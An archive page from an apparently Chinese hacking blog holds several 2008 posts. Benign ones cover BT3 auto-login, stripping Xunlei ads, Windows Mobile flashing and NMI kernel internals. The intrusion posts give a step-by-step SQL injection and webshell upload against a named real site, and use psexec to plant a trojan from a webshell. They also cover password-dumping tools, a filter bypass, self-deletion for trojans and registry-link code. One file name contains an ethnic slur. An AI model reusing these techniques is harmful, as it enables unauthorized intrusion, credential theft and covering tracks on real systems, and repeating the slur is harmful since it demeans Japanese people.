存档

‘技术文章’ 分类的存档

backtrack(bt3)linux自动登录进入x windows

2008年10月15日 没有评论 568 views

其实很简单的修改/etc/inittab文件就可以实现
# These are the default runlevels in Slackware:
#   0 = halt
#   1 = single user mode
#   2 = unused (but configured the same as runlevel 3)
#   3 = multiuser mode (default Slackware runlevel)
#   4 = X11 with KDM/GDM/XDM (session managers)
#   5 = unused (but configured the same as runlevel 3)
#   6 = reboot

 

默认的id:3:initdefault:是多用户模式,修改为id:4:initdefault:就可以直接进入xwindows界面了

编辑/etc/inittab
vim /etc/inittab
将第24行的id:3:initdefault:    改为id:4:initdefault:
:wq

 

保存退出vim
然后将它做成lzm模块
 

 

分类: 技术文章 标签:

lcx在入侵过程中用过的三大门派的几个小工具

2008年10月15日 没有评论 80 views

作者:lcx

这篇文章是写给黑客手册高手专栏2008年10期的。

也许大家知道,我在哪做编辑,负责西线无战事和高手专栏的两个栏目。高手专栏这个栏目投稿的人太少,害得我每期几乎都要费尽心思来写一篇。高手专栏现在欢迎的题目有;

vbs在入侵中的作用、我在入侵中的注意的细节、跨站、入侵中的批处理、入侵过程中用的小工具共有这五个,当然随着期数的变化,出的题目也会增加,现在大家针对这些题目欢迎来稿呀,不要被高手这两个字吓住了。当然,你想看什么最新的专栏想要什么题目的文章也可以向我说一下,集思广益。

下面是10期的文章正文:

这期的专栏还是我打头写一篇吧。三大门派有点夸张了,不过为了方便大家的分类和下载,所以我起了这样的一个题目。这三个门派分别是微软(www.sysinternals.com已被微软收购)、http://www.nirsoft.netwww.diamondcs.com.au。如果有去过以上网站的朋友们,很快就会发现,它们都是做的一些辅助windows系统的小工具。如果用好这三大门派的工具,可以在渗透中起到很好的作用的。当然,我介绍的肯定都是命令行的工具了。

一、微软(www.sysinternals.com)的工具
介绍微软的工具前我来说几句酸葡萄话。我负责编辑的西线无战事栏目作者的投稿,有时会出现这样的话:“拿出的朋友送的一个小工具xxx,试了一下,哈,真 的成功了”。结果文章写完也不附上文章里提到的小工具。也就是说,可能某些人手里都会收藏一些独门的小工具,自己也不愿意以开。不愿意公开有他人的道理 在,其实我真的不羡慕,我觉微软给的东东本身就够多了,何时才能掌握完全?举个最简单的例子,系统自带的PUSHD.exe命令我敢打赌可能100个学黑 客的人里有50个人没用过,30个人根本没留意。10个人不知道有这东东,别外10个人偶尔用过,呵呵。其实很好玩的,如果你在c:下想一下到 d:\hack目录可以一步做到,就是"C:\>PUSHD d:\hack"。这里我用PUSH这个命令来举例,还是希望大家学好基础知识了。如果想了解系统的基本命令行,可以到http://www.ss64.com/nt/这里看一下的。
内网渗透中,有时难免会在肉鸡的命令行下搜索对方机器上的一些文件,有时会想搜索某一段时间到另一段时间的文件。像搜索从2006年1月1日到2008年2月2日里的doc文档,系统命令dir就无能为力了。我自己当初为了解决这个问题,还特意写过一个vbs脚本,放在http://hi.baidu.com/myvbscript/blog/item/47175316835e004f21a4e90b.html/cmtid/cc37a6fdca04991108244d32#cc37a6fdca04991108244d32这 里。有兴趣的读者可以去看一下。但是vbs真是太慢了,而且遇到某个目录对权限做了设置,vbs会死在哪儿(dir可以跳过)。其实微软给出了我们工具 的,就是LogParser.exe。可能很多读者说,这不是一个分析日志的工具吗?错错,LogParser.exe太博大精深了,搜索文件也只是它功 能的九牛一毛,大家自己可以去看一下它的帮助文件。这里我只给出一个命令,让大家吃惊一下:●
LogParser "SELECT TOP 10 Path, Name, Size,LastAccessTime FROM C:\downloads\*.* where LastAccessTime>TIMESTAMP('01/01/2004', 'MM/dd/yyyy') and TO_LOWERCASE(name) like '%a%' ORDER BY Size DESC" -i:FS -useLocalTime:OFF -preserveLastAccTime:ON -recurse:-1●,如图1所示。这里是表示从c:\downloads目录里搜索出名字含有a的前10个文件,并且修改时间要大于2004年1月 1日是,按照大小排序,并且显示它的路径、尺寸和文件名,显示时间按机器的所在时区。强大否?

www.sysinternals.com已被微软收 购,我喜欢它的psexec.exe。psexec.exe我常用的第一个功能是系统权限到用户权限的转换,我在以前的专栏里渗透的细节里提到过了,所以 这里我就不写了。另一个功能,我是把它用在web上提权。大家会有这样的情况,拿到了一个webshell,在对方机器里找到了一些密码信息,像 mssql数据库的密码等。如果mssql的密码不是sa,但却是系统帐户的密码。系统只有80端口,不可能让你反连终端什么的,这时候psexec就可 以派到用处了。我们可以直接在webshell里执行psexec \\127.0.0.1 -u administrator -p password c:\muma.exe,这样就要以直接种上我们的木马了。这里我的示例是psexec v1.21,可能版本不同,用法也略有不同。

二、www.nirsoft.netwww.diamondcs.com.au
如果说www.sysinternals.com出的pctools工具集针对的是系统和网络的话,www.nirsoft.net似乎一直专注在个人的各种密码收集上。www.nirsoft.net是一个个人网站,该作者靠别人捐款过日子。就是你觉得他工具写得好,你就在线捐作者点钱。据说作者过得很逍遥,住别墅呢。我估计这样的作者在中国就被饿死了,呵呵。www.nirsoft.net网站出了很多小工具,像什么抓取IE缓存密码、outlook、msn密码等等。如果你进入一台个人机,想知道该个人机的常用密码,用www.nirsoft.net它的工具就对了。它出的系列工具都具备GUI和cmd的用法的,我们自然要用cmd下的。各个工具基本的格式都是:

Option Description
/stext <Filename> Save the list of all dial-up items into a regular text file.
/stab <Filename> Save the list of all dial-up items into a tab-delimited text file.
/stabular <Filename> Save the list of all dial-up items into a tabular text file.
/shtml <Filename> Save the list of all dial-up items into horizontal HTML file.
/sverhtml <Filename> Save the list of all dial-up items into vertical HTML file.

这个用法的。我们来拿具体的一个命令dialupass2.exe /stext 1.txt,如图2所示,看到没有,列出了我用的vpn的密码了。

至于www.diamondcs.com.au的免费工具,我觉得是杀毒软件不杀的,像什么列进程杀进程之类的,我抓两个图给大家看一下吧(图3、图4)。

图3的工具是端口对应进程的,图4的工具是先列出执行程序的句柄和进程ID再询问你是否要执行该程序。
如果我要把这三大门派的工具介绍完毕的话,可以出一本很厚的书了。这里只是抛砖引玉,大家自己可以去网站下载试用,相信你会有收获的。

分类: 技术文章 标签:

假如对方是个BT 之 \ 被过滤

2008年10月15日 没有评论 58 views

作者:allyesno

当你拿到shell以后 发现对方的 不知道是防火墙 还是 ids 还是 hips 或者某某山寨产品 竟然把

\ 给过滤了 ,无法路径跳转 很不方便的说

下面提供邪恶的一小段代码 以备急时所需

%tmp:~2,1%
 

分类: 技术文章 标签:

EXE及BAT自删除

2008年10月15日 没有评论 201 views

del %0 以及一些调用cmd的删除方法是错误的

原因在于exe 或者 bat在运行的时候 自身的进程仍然存在

所以我们就会看见好些 木马 病毒 残留的exe 以及 bat

下面给出绝对可以自删除的程序!

start del /f /q fuckjapanpig.exe

很简单也是调用了cmd ,把它加在最后一行就行了!此时程序已经运行完,不存在进程了!

分类: 技术文章 标签:

手动去除迅雷广告

2008年10月15日 没有评论 75 views

注意:所有修改均在关闭迅雷时执行!

一、清除顶部小广告
确定已关闭迅雷。打开迅雷的安装目录中Program文件夹:
1、找到gui.cfg文件,然后用记事本打开,找到如下内容:
[URL]
ADServer=
PVServer=
ADCountingServer=
HomePage=
将“=”后面的网址都删掉.
修改完后保存文件。右键点击改动后的“gui.cfg”,选属性,改为“只读”。

2、找到geturl.htm和getAllurl.htm文件,然后用记事本打开,清空里面所有内容,修改完后保存。右击这俩文件,选择“属性”在弹出的对话框中选中“只读”属性。

3、用记事本打开该目录下的“adhistory.xml”文件,然后将里面的内容全部删除并保存。右击“adhistory.xml”文件,选择“属性”在弹出的对话框中选中“只读”属性。

4、打开Ad文件夹,删除所有文件,之后删除Ad文件夹所有用户的访问权限

二、 禁止右侧显示的资源信息
打开迅雷的安装目录中Components文件夹,找到P4PClient文件夹,删除里面所有文件。(不要删除P4PClient文件夹).
如果你不喜欢工具栏上的搜索工具,也可以删除“Search”子目录里面所有文件就可以了。

三、屏蔽右侧热门推荐
打开迅雷的安装目录中Profiles文件夹:
1、找到UserConfig.ini文件,然后打开。
3、找到[Splitter_1]项下面的Pane1_Hide=0,将其改为Pane1_Hide=1。(原始值为0)
4、修改完后保存。

四、清除迅雷记忆
删除c:\windows\system32\cid_store.dat文件,然后在c:\windows\system32\目录下,新建一个文本文件,文件名及后缀改为cid_store.dat,设置为只读

去掉迅雷中的社区互动:
迅雷目录下Components\Community,找到XLCommunity.dll文件,用restorator软件打开它;删除dialog下的1076文件,保存后重新打开迅雷就发现社区互动没了.restorator软件网上有下载

再打开迅雷,呵呵,干干爽爽,清清净净

分类: 技术文章 标签:

Mop游戏的一次入侵

2008年10月14日 没有评论 114 views

来源:小帅

某天,我和bloodsword大牛在玩,遇到了个mop注射点,起于好奇心的诱惑,溜达之,发现遇到了很多的困难。谁知今天又看到了那个站,于是乎就想写写什么,因为上次遇到的问题真的太多了,写啊写不完。最近五一放假,相对来说有点时间,于是想抄起武器再溜达次,顺便把过程给写写。
首先是一个游戏的站。隶属于mop的,是大话西游的官方地址。上面有许多的下载文件。
如图1

注入点为:http://www.zg.mop.com/service/sales.php?newsId=1178,于是开始注射,我比较喜欢手动的,因为我喜欢看到那个熟悉的MD5页面,于是开始手动注射,
判断长度:
http://www.zg.mop.com/service/sales.php?newsId=1178 order by 25/*,
发现返回错误,
http://www.zg.mop.com/service/sales.php?newsId=1178 order by 24/*返回正常,那么就是24个长度了,
http://www.zg.mop.com/service/sales.php?newsId=1178 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
发现返回如图

于是开始把“12”、“13”2出用列来代替,随便想了个admin表,想了个userid,构造http://www.zg.mop.com/service/sales.php?newsId=1178 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,userid,14,15,16,17,18,19,20,21,22,23,24 from admin/*
结果返回如图

最后猜到了一些信息,发现权限不是root的,也就是一个一般的账号,看来load_file这个路已经没戏了,换路。继续构造:
http://www.zg.mop.com/service/sa ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,pwd,userid,14,15,16,17,18,19,20,21,22,23,24%20from%20admin/*爆出了个MD5,发现这个MD5无法破解,真郁闷,难道就这么死了?!不行!继续找管理级的账号,
于是用limit,构造语句
http://www.zg.mop.com/service/sa ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,pwd,userid,14,15,16,17,18,19,20,21,22,23,24%20from%20admin limit1,1,读出第2条记录,

于是跑出了账号密码,32位加密的MD5,接着开始找后台,郁闷的是,找后台并不是想的那么简单的!啊D,明小子什么的扫了很久也没扫出什么花样,最后还是bloodsword大牛的注射工具比较强大,字典真厚,扫出了个setup目录,登录一看,吓到我了,原来是织梦的系统……这下,嘿嘿,后台等于拿到手了。如图

就是喜欢看到“Power by DedeCms 织梦内容管理系统”这几个字,于是去down了份织梦的系统,顺利的找到了后台地址,并且登陆,如图

这下比较不错了,嘿嘿,还能做点事了,看了下这个版本并不是很高,就试了下上传的办法,下载了个angel的spy2008来看看,很是郁闷,无论上传什么东西都无法进去,记得我们上次进去的时候是通过一个老外的软件,加了层马甲(把字符写入图片的工具)这样才混过检查的,于是厚着脸皮又一次的问bloodsword大牛要了份来,也成功的混过去了,大家觉得我们上传木马很简单一样的,其实其中的辛苦又谁知道呢!当一次次的挫折,一次次的错误提示,咱也害怕,害怕离成功只有那么一步,你却不知道。最后东西的确上传上去了,回显也不是404,上次是显示404

不知道为什么,可能是加了一般的马甲混不过去,手动加上文件头欺骗不成功,返回404错误,加了那工具后就成功了。如图

嘿嘿,这个是图片服务端了,就是怕gpc会影响到一句话的解析,所以采用了这个方式,只要回显并不是上面的那个404错误就行,用客户端连上去,传个马,擦下屁股一切ok了,

上次就是差不多这么拿到的,后来仔细一看发现这个服务器真老了。很多牛X同学都来过了,通过痕迹可以看出他们还成功提权上去了的,都是root的权限,就小菜我,连linux也不懂,自己的shell还只是nobody的权限,悲哀……这个文章就为我的无知纪念下吧,因为学习都是有进步的。


分类: 技术文章 标签:

Tornado 系列升级 IPL/SPL/GSM 简易步骤

2008年10月14日 没有评论 956 views

Tornado 系列升级 IPL/SPL/GSM 简易步骤

        友情提醒:刷机有风险,本资料仅供参考。

       为了初学者使用方便,把在网上搜集的部分资料做了整理,对原作者表示感谢。
      一、 什么是IPL/SPL
      IPL与SPL实质为Windowsmobile的Bootloader里的两大部份,WM启动的程序是IPL>>SPL>>OS
      ①.IPL英文全称是InitialProgramLoader,负责主板,电源、硬件初始化程序、并把SPL装入RAM。IPL损坏了可把手机扔进河里,或者通过换字库来解决.
      ②.SPL英文全称是SecondProgramLoader,“第二次装系统”,就是负责装载OS操作系统到RAM中。另外SPL还包括许多系统命令,如mtty中使用的命令等。SPL损坏了还可以用烧录器重写。
      SPL一般提供这几部分功能:检测手机硬件、寻找系统启动分区、启动操作系统为系统的基本维护提供操作界面,可以通过数据线与操作终端(如PC)建立连接,并接受和执行相应命令。它里面包含许多命令,像r2sd,l,doctest(危险命令,他会擦除gsmdata)等。我们常说的三色屏就是由SPL驱动的。检测SD卡,当你把一些特殊制作的SD卡插入后,SPL可以在启动时校验并根据SD卡内容刷机或执行一些命令。这有点类似于PC的从软驱启动。
     IPL和SPL版本可以在三色屏中查看。按住照相键不放,然后短按电源开机键即可进入三色屏查看相关信息。
        二、什么是CID(SUPERCID)
      
CID是CustomerIDentity的简称,简单来说就是手机的平台版本,破解限制之后的CID称为SUPERCID。
     刷机过程中SPL需要根据CID效验ROM是否可用,并决定是否刷入,一般情况下要求一定要对应CID的ROM才可以用,cid不同的rom是刷不上去的。对于普通的CID来说,一般有两个限制:1)不能刷入低版本的的ROM,2)不能刷入不同平台的ROM,比如:在台版机上刷欧版ROM、跨型号刷ROM等。SUPERCID有些型号手机的CID的限制是可以通过软件来破解的,已知的有577W、586W等,但也有也些型号目前还没有有效的方法破解CID,如838G4。
        破解限制之后的cid称为SUPERCID,拥有SUPERCID的机器可以刷任意版本和平台的ROM。具体来说,同一个手机既可以刷台湾的ROM,也可以刷日本的rom,也可以刷香港的rom等。甚至也可以刷进一个其他型号手机的ROM(如586W刷577W)。但是这也带来很大的危险性,因为没有了限制,没有了校验,刷入一个错误的ROM也是很容易的事。我们一般刷机时需要破解为SUPERCID,因为一方面现在大部分情况下刷机所用的ROM都是通不过CID校验的;另一方面万一刷机失败,对于SuperCID的手机更容易修复。
         修改SUPERCID具体操作方法见《
WM6_ROM定制工具及刷机步骤》    (http://bbs.koxo.cn/thread-13415-1-1.html
      三、什么是解锁?
      
微软在WindowsMobile里面引入了特权保护机制,对应用程序能够访问的系统资源作了限制,主要是为了防止一些恶意程序,因为如果没有这些限制应用程序可以随意调用特权API,篡改你的SIM卡信息,给你的联系人群发短信,窃取你的联系人信息,或是删除重要的系统文件。另外我们在手机上运行一些第三方应用程序时会出现一个提示,问你是否允许运行,这个也是特权保护机制的作用。
       微软把系统资源分成了两种权限,特权级和非特权级(Privileged/Unprivileged),一般我们运行的应用程序都是出于非特权级别的,具有有效数字签名的应用程序可以获得特权级别的访问。网上有一个具有特权的注册表编辑器就是有签名的,所以可以进行特权级别的操作。
       解锁一般就是指关闭这个特权保护机制。解锁方法(首次解锁时不能使用具有特权的注册表程序,之后就可以),将手机与电脑同步,运行相应版本的SDA_ApplicationUnlock程序,然后重启手机。这样就完成了解锁操作。具体操作见《
WM6_ROM定制工具及刷机步骤》(http://bbs.koxo.cn/thread-13415-1-1.html)。
       刷机前解锁是为了调用擦写flash的api用的, 在电脑和手机同步的情况下,刷机程序通过activesync复制到手机上一个程序,重启手机进入三色屏即是这个程序的作用,然后两方做交互刷入ROM。 如果不和电脑同步时刷机可以不解锁,一样可以先进入三色屏然后刷机的。
       四、 刷WM6需要 IPL、SPL 为2.0以上,GSM如果当前版本过低,刷WM6后会无法上网,因此如果刷WM6 ROM 后出现无法上网故障时还需要升级GSM版本。
      
在做好先解锁,成功修改成SUPERCID之后,就可以刷ROM的相关部分了。
      如果对自己的刷机技术没有信心的话,可用官方的完全版刷一次机即可完成升级IPL_SPL_GSM等步骤。这里提供一个多普达586w繁体中文完全版供升级使用,刷机成功后所有该升级的都升级了,可以随意刷OS了。
586W_WM5官方繁体完全版下载地址:
http://www.fs2you.com/files/7d549c1e-aaa4-11dc-8455-00142218fc6e/
       五、手动升级IPL_SPL。
   
解压

分类: 技术文章 标签:

注册表也LINK---REG_LINK

2008年10月14日 没有评论 51 views

作者:MJ0011

NTFS有HARDLINK~ 注册表也有个REG_LINK类型
顾名思义,就是可以把一个真实存在的注册表映射成一个symbolic link类似的注册表~

实 际过程是使用ZwCreateKey创建一个REG_OPTION_CREATE_LINK的注册表键,然后给其设置SymbolicLinkValue 键值,DATA即是要创建连接的注册表名,然后就能自动link上了,操作被LINK的注册表项同操作原注册表项实质上一样,系统的SAM ControlSet等映射都是通过这个实现的~

原理说了.下[面附上创建注册表Services键到注册表System\123的LINK的代码,能干什么就不用我说了吧~~

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "RtlInitUnicodeString");
PVOID p2 = GetProcAddress(hlib , "ZwCreateKey");
PVOID p3 = GetProcAddress(hlib , "ZwSetValueKey");
WCHAR KeyName1[] = L"\\Registry\\Machine\\System\\123";
LPCWSTR pKeyName1 = KeyName1 ;
UNICODE_STRING KeyString ;
OBJECT_ATTRIBUTES oba ;

__asm
{
push pKeyName1
lea eax , KeyString
push eax
call p
}

InitializeObjectAttributes(&oba , &KeyString , 0X40 , 0 ,0 );

ULONG dispostion ;
HANDLE linkhandle ;
LONG stat ;

__asm{
lea eax , dispostion
push eax

push 3

push 0

push 0

lea eax , oba

push eax

push 0x22

lea eax , linkhandle

push eax

call p2

mov stat ,eax
}

CHAR xxx[100];

sprintf(xxx , "create stat = %08x\n" , stat);
MessageBox(xxx , 0 , 0 );

WCHAR KeyName2[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services";
PVOID pdata = KeyName2 ;
ULONG len = wcslen(KeyName2) * sizeof(WCHAR);
WCHAR ValueName[]= L"SymbolicLinkValue";
LPCWSTR pvaluename = ValueName ;
UNICODE_STRING valuestring ;

__asm
{
push pvaluename
lea eax , valuestring
push eax
call p
}
__asm{
push len
push pdata
push 6
push 0
lea eax , valuestring
push eax

push linkhandle
call p3
mov stat ,eax
}
sprintf(xxx , "setvalue stat = %08x\n" , stat);
MessageBox(xxx , 0 , 0 );

分类: 技术文章 标签:

About Handling Nmi

2008年10月14日 没有评论 109 views

来源:SoftRCE.net

本文基于Windows2003以上32位系统,因为XP处理NMI很弱,我们后面再说。
最近为点硬件写驱动,需要处理关于NMI的一些东西,索性把以前记录的一些资料和最新的体会写下来,希望对大家有用。
Nmi(Non Maskable Interrupt),一般在紧急的电源故障、总线超时或者存储器奇偶校验出错时被发出,对应的中断向量号为2,即int 2。CPU有两根引脚INTR和NMI接受外部中断请求信号:INTR接受可屏蔽中断请求,NMI接受不可屏蔽中断请求。在80386以上,标志寄存器 EFLAGS中的IF标志决定是否屏蔽可屏蔽中断请求。下面是调试器的结果:

kd> !idt -a

Dumping IDT:
00: 8082409e nt!KiTrap00
01: 8082421a nt!KiTrap01
02: Task Selector = 0x0058
03: 8082462a nt!KiTrap03
04: 808247a6 nt!KiTrap04
05: 80824904 nt!KiTrap05
06: 80824a86 nt!KiTrap06
07: 808250e6 nt!KiTrap07
08: Task Selector = 0x0050
09: 80825518 nt!KiTrap09
0a: 80825632 nt!KiTrap0A
//...
ff: 808231b0 nt!KiUnexpectedInterrupt207

相关的中断可以查阅详细资料[1],我们只关心下面两个:
IDTEntry _KiTrap02, D_INT032 ; 2: NMI/NPX Error
IDTEntry _KiTrap08, D_INT032 ; 8: Double Exception
即Windbg中显示的:
02: Task Selector = 0x0058
08: Task Selector = 0x0050
表 示的是系统为处理这两个int而设置的任务门,KGDT_DF_TSS(50h)和KGDT_NMI_TSS(58h)。那么是系统什么时候设置的 呢?ntoskrnl加载的时候,KERNEL_ENTRY_POINT是KiSystemStartup()函数,反汇编不难看出它的流程,你也可以参 考WangYu的一篇文章[2],或者可以参考ReactOs的代码,不过我们简单地反汇编一些:

1)首先是为NMI建立任务门,这样我们就能捕捉到NMI了:
INIT:006053CE mov eax, [ebp+var_10] ; 之前由GetMachineBootPointers得到的Idt
INIT:006053D1 lea ecx, [eax+10h] ; 16/8 -> 2号中断描述符
INIT:006053D4 mov byte ptr [ecx+5], 85h ; 10000101 -> dpl=0, present, taskgate
INIT:006053D8 mov word ptr [ecx+2], 58h ; KGDT_NMI_TSS(58h)
INIT:006053DE lea ecx, [edi+58h]
INIT:006053E1 mov byte ptr [ecx+5], 89h ; 10001001 -> 32bit, dpl=0, present, TSS32, not busy
INIT:006053E5 mov edx, offset _KiNMITSS
INIT:006053EA mov eax, edx
INIT:006053EC mov [ecx+2], ax ; KgdtBaseLow(2h)
INIT:006053F0 shr eax, 10h
INIT:006053F3 mov [ecx+7], ah ; KgdtBaseHi(7h)
INIT:006053F6 mov [ecx+4], al ; KgdtBaseMid(4h)
INIT:006053F9 mov eax, 68h ; MINIMUM_TSS_SIZE(68h)
INIT:006053FE mov [ecx], ax ; KgdtLimitLow(0h)
INIT:00605401 push edx
INIT:00605402 push edx
INIT:00605403 call KiInitializeTSS(x)

2)然后是建立堆栈:
INIT:00605408 pop edx
INIT:00605409 mov eax, cr3
INIT:0060540C mov [edx+1Ch], eax ; TssCr3(1ch)
INIT:0060540F mov eax, offset P0BootStack
INIT:00605414 mov eax, [eax+38h]
INIT:00605417 mov [edx+4], eax ; TssEsp0(4h) , NMI stack
INIT:0060541A mov [edx+38h], eax
INIT:0060541D mov dword ptr [edx+20h], offset _KiTrap02
INIT:00605424 mov dword ptr [edx+24h], 0 ; eflags
INIT:0060542B mov word ptr [edx+4Ch], 8 ; KGDT_R0_CODE(8h) -> CS
INIT:00605431 mov word ptr [edx+58h], 30h ; KGDT_R0_PCR(30h) -> FS
INIT:00605437 mov word ptr [edx+50h], ss
INIT:0060543A mov word ptr [edx+48h], 23h ; KGDT_R3_DATA(20h) + RPL_MASK(3h)
INIT:00605440 mov word ptr [edx+54h], 23h ; 初始化ES,DS
INIT:00605446 push offset _KiDoubleFaultStack
//...
INIT:0060545D call KiInitializePcr(x,x,x,x,x,x,x)

这里涉及一些结构,用Windbg可以清晰地看到:
kd> !pcr 0
kd> dt -r1 nt!_KPCR
kd> dt nt!_KIDTENTRY (_KGDTENTRY)
kd> dt -r1 nt!_KTHREAD
kd> dt -r1 nt!_KPROCESS

如 果想在XP里设置Handler处理NMI,那么也该仿造以上过程,设置处理例程KiTrap02,把NMI-TSS里的EIP指向你的处理代码,然后 建立堆栈,最后还要在iret后面添加jmp回到你的处理代码.原因简单地说,就是每当接受一个NMI中断,处理器会在内部屏蔽再次响应NMI,这一屏蔽 过程直到执行中断返回指令IRET后才结束。还是直接看反汇编的KiTrap02代码吧:

.text:00484748 ; =============== S U B R O U T I N E =====================.text:00484748.text:00484748 _KiTrap02 proc near.text:00484748.text:00484748 var_8 = dword ptr -8.text:00484748 var_4 = dword ptr -4.text:00484748.text:00484748 cli.text:00484749 mov eax, ds:0FFDFF040h ; nt!_KPCR + 40 == _KTSS.text:0048474E mov ecx, ds:0FFDFF124h ; nt!_KTHREAD.text:00484754 mov edi, [ecx+38h] ; Edi= _KPROCESS.text:00484757 mov ecx, [edi+18h] ; ULONG_PTR DirectoryTableBase[2].text:00484757 ; DirectoryTableBase[1] -> hyperspace.text:00484757 ; DirectoryTableBase[0] -> CR3.text:0048475A mov [eax+1Ch], ecx ; TSS.Edx= DirectoryTableBase[0].text:0048475D mov cx, [edi+30h].text:00484761 mov [eax+66h], cx ; TSS.IoMapBase= KPROCESS.IopmOffset.text:00484765 mov ecx, [edi+20h] ; LdtDescriptor:_KGDTENTRY.text:00484768 test ecx, ecx.text:0048476A jz short loc_484770.text:0048476A.text:0048476C mov cx, 48h.text:0048476C.text:00484770 loc_484770:.text:00484770 mov [eax+60h], cx ; set TSS.LDT; if(_KPROCESS.LdtDescriptor==0) replaced by KGDT_LDT(0x48).text:00484770.text:00484774 push dword ptr ds:0FFDFF040h ; push dword ptr PCR[PcTss].text:0048477A mov eax, ds:0FFDFF03Ch ; mov eax, PCR[PcGdt(3c)].text:0048477F mov ch, [eax+5Fh] ; mov ch, [eax+KGDT_NMI_TSS(58)+KgdtBaseHi(7)].text:00484782 mov cl, [eax+5Ch] ; mov cl, [eax+KGDT_NMI_TSS(58)+KgdtBaseMid(4)].text:00484785 shl ecx, 16.text:00484788 mov cx, [eax+5Ah] ; mov cx, [eax+KGDT_NMI_TSS(58)+KgdtBaseLow(2)].text:0048478C mov ds:0FFDFF040h, ecx ; mov PCR[PcTss], ecx.text:0048478C ; // PCR.TSS points to the NMI TSS.text:0048478C.text:00484792 pushf.text:00484793 and [esp+8+var_8], 11111111111111111011111111111111b.text:0048479A popf ; // Clear Nested Task bit in EFLAGS, no more NMI handler.text:0048479A.text:0048479B mov ecx, ds:0FFDFF03Ch ; PcGdt.text:004847A1 lea eax, [ecx+58h] ; lea eax, [ecx] + KGDT_NMI_TSS.text:004847A4 mov byte ptr [eax+5], 10001001b; 32bit, dpl=0, present, TSS32, not busy.text:004847A4 ; // Clear the busy bit in the TSS selector.text:004847A4.text:004847A8 mov eax, [esp+4+var_4] ; var_4 = KiSaveProcessorState(...).text:004847AB push 0//... ....text:0048480B push ebp.text:0048480C call KiSaveProcessorState(x,x).text:0048480C.text:00484811 call KiHandleNmi() ; <---------------- Our CallBack Routines here...text:00484811.text:00484816 or al, al ; if any CallBackRoutine handled nmi trap...text:00484818 jnz short Nmi_Magic_Handled ; Jump to restore and wait...text:00484818.text:0048481A cmp ds:NmiUnknowFlag, 0 ; if(NmiFlagX!= 0).text:00484821 jnz short loc_484825 ; Setup Kernel debugger....text:00484821.text:00484823 jmp short loc_484849 ; Pass nmi to Hal.dll,actually crash...text:00484823.text:00484825 ; ---------------------------------------------------------------------------.text:00484825.text:00484825 loc_484825:.text:00484825 cmp ds:NmiUnknowFlag, 8 ; NmiFlagX== 0 Nothing setuped,just pass to HAL.text:00484825 ; 1-7 Nothing setuped,just pass to HAL and do crash.text:00484825 ; 8 Get into KdDebugger.text:00484825 ; >8 Dead Lock.text:0048482C jb short loc_484849.text:0048482C.text:0048482E jnz short loc_484847; if ( !_KdDebuggerNotPresent ); {; if ( _KdDebuggerEnabled ); KeEnterKernelDebugger();; }; else; while(1);.text:00484830 cmp ds:_KdDebuggerNotPresent, 0.text:00484837 jnz short loc_484847.text:00484839 cmp ds:_KdDebuggerEnabled, 0.text:00484840 jz short loc_484847.text:00484842 call KeEnterKernelDebugger().text:00484847 loc_484847:.text:00484847 jmp short loc_484847.text:00484849 ; ---------------------------------------------------------------------------.text:00484849 loc_484849:.text:00484849 inc ds:NmiUnknowFlag.text:0048484F push 0.text:
00484851 call ds:HalHandleNMI(x) ; <----------------.text:00484851.text:00484857 dec ds:NmiUnknowFlag ; --NmiFlagX != 0 then crash.text:0048485D jnz short _Nmi_DoCrash ; But can we reach here? hmm...text:0048485D.text:0048485F.text:0048485F Nmi_Magic_Handled:.text:0048485F mov eax, ds:0FFDFF040h ; eax= _KTSS.text:00484864 cmp word ptr [eax], 58h ; if KGDT_NMI_TSS(58h), Tss error,just crash.text:00484868 jz short _Nmi_DoCrash.text:00484868.text:0048486A add esp, 8Ch ; Nmi handled,so let's restore.text:0048486A.text:00484870 pop dword ptr ds:0FFDFF040h ; restore PcTss.text:00484876 mov ecx, ds:0FFDFF03Ch ; mov ecx, PCR[PcGdt].text:0048487C lea eax, [ecx+28h] ; lea eax, [ecx] + KGDT_TSS.text:0048487F mov byte ptr [eax+5], 8Bh ; 32bit, dpl=0, present, TSS32, *busy*.text:00484883 pushf.text:00484884 or [esp+4+var_4], 4000h ; Set Nested Task bit in EFLAGS.text:0048488B popf ; then iretd will start a tast switch.text:0048488C iret.text:0048488C.text:0048488D ; ---------------------------------------------------------------------------.text:0048488D jmp _KiTrap02 ; <--------!!!!!!!!!!!!!!!!!!!!!.text:00484892.text:00484892 _Nmi_DoCrash:.text:00484892 mov eax, 2.text:00484897 jmp _KiSystemFatalException ; Crash!! KeBugCheck2(UNEXPECTED_KERNEL_MODE_TRAP).text:00484897.text:00484897 _KiTrap02 endp

大 致的流程是更新TSS,屏蔽中断响应,保存CPU状态,调用用户注册的NMI处理例程;如果不能处理,则交给默认的Nmi Handler,也就是HalHandleNMI(x),但是它并不能做什么实质性的解决工作,只是准备BugCheck...在XP下,NMI一旦触 发,都是交给HalHandleNMI,然后直接crash掉系统.Win2003下提供了一个很好的机制KeRegisterNmiCallback, 你可以注册Nmi的处理例程,这样发生Nmi中断的时候,你可以进行一些收尾工作,但是注意在回调函数里有很多的限制,不能有系统函数调用,不能去获取 SpinLock,必须使用Interlocked系列进行数据操作等等..

函数原型:
PVOID
KeRegisterNmiCallback(
PNMI_CALLBACK CallbackRoutine,
PVOID Context
);

还原出来的源代码如下:

static PVOID gKiNmiCallbackListHead= NULL;KSPIN_LOCK KiNmiCallbackListLock;typedef struct _KNMI_CALLBACK_RECORD{struct _KNMI_CALLBACK_RECORD *PreCallBackRecord;PNMI_CALLBACK CallbackRoutine;PVOID Context;_KNMI_CALLBACK_RECORD *CurCallBackRecord;} KNMI_CALLBACK_RECORD, *PKNMI_CALLBACK_RECORD;

以上是全局变量和结构体的声明.

